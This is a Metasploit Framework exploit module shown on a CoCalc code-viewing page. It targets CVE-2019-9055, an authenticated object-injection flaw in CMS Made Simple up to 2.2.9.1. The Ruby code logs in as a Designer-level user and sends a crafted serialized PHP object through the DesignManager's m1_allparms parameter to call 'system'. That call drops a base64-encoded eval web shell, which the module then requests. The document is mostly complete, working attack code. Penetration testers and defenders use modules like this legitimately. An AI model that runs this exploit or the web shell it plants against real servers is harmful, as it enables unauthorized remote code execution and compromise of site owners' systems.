CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cmsms_object_injection_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::FileDropper
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'CMS Made Simple Authenticated RCE via object injection',
15
'Description' => %q(
16
An issue was discovered in CMS Made Simple 2.2.8.
17
In the module DesignManager (in the files action.admin_bulk_css.php
18
and action.admin_bulk_template.php), with an unprivileged user
19
with Designer permission, it is possible to reach an unserialize
20
call with a crafted value in the m1_allparms parameter,
21
and achieve object injection.
22
23
This module has been successfully tested on CMS Made Simple versions
24
2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
25
),
26
'Author' => [
27
'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
['CVE', '2019-9055'],
32
['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
33
['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
34
],
35
'Privileged' => false,
36
'Platform' => ['php'],
37
'Arch' => [ARCH_PHP],
38
'Targets' => [['Automatic', {}]],
39
'DefaultTarget' => 0,
40
'DisclosureDate' => '2019-03-26'))
41
register_options(
42
[
43
OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
44
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
45
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
46
]
47
)
48
end
49
50
def multipart_form_data(uri, data, message)
51
send_request_cgi(
52
'uri' => normalize_uri(target_uri.path, 'admin', uri),
53
'method' => 'POST',
54
'data' => data,
55
'ctype' => "multipart/form-data; boundary=#{message.bound}",
56
'cookie' => @cookies
57
)
58
end
59
60
def post(uri, data)
61
send_request_cgi(
62
'uri' => normalize_uri(target_uri.path, 'admin', uri),
63
'method' => 'POST',
64
'vars_post' => data,
65
'cookie' => @cookies
66
)
67
end
68
69
def get(path, filename)
70
send_request_cgi(
71
'uri' => normalize_uri(target_uri.path, path, filename),
72
'method' => 'GET'
73
)
74
end
75
76
def check
77
res = get('', 'index.php')
78
unless res
79
vprint_error 'Connection failed'
80
return CheckCode::Unknown
81
end
82
83
unless res.body.match?(/CMS Made Simple/i)
84
return CheckCode::Safe
85
end
86
87
version = Rex::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
88
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
89
90
if version <= Rex::Version.new('2.2.9.1')
91
return CheckCode::Appears
92
end
93
94
return CheckCode::Safe
95
end
96
97
def login
98
data = {
99
'username' => datastore['USERNAME'],
100
'password' => datastore['PASSWORD'],
101
'loginsubmit' => 'Submit'
102
}
103
res = post('login.php', data)
104
105
unless res
106
fail_with(Failure::Unreachable,
107
'A response was not received from the remote host')
108
end
109
110
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
111
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
112
end
113
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
114
vprint_good("#{peer} - Authentication successful")
115
@csrf_name = Regexp.last_match(1)
116
csrf_val = Regexp.last_match(2)
117
@csrf = { @csrf_name => csrf_val }
118
@cookies = res.get_cookies
119
end
120
121
def send_injection
122
# prepare shell command
123
shell_name = rand_text_alpha(8..12) + '.php'
124
cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
125
cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"
126
127
# prepare serialized object
128
final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
129
final_payload += "\x00" + 'dm_xml_reader' + "\x00"
130
final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
131
final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
132
final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
133
final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'
134
135
# create message with payload
136
message = Rex::MIME::Message.new
137
message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
138
message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
139
message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
140
data = message.to_s
141
142
# send payload
143
payload_res = multipart_form_data('moduleinterface.php', data, message)
144
fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
145
register_files_for_cleanup(shell_name)
146
# open shell
147
res = get('admin', shell_name)
148
if res && res.code == 404
149
print_error "Shell #{shell_name} not found"
150
end
151
end
152
153
def exploit
154
login
155
send_injection
156
end
157
end
158
159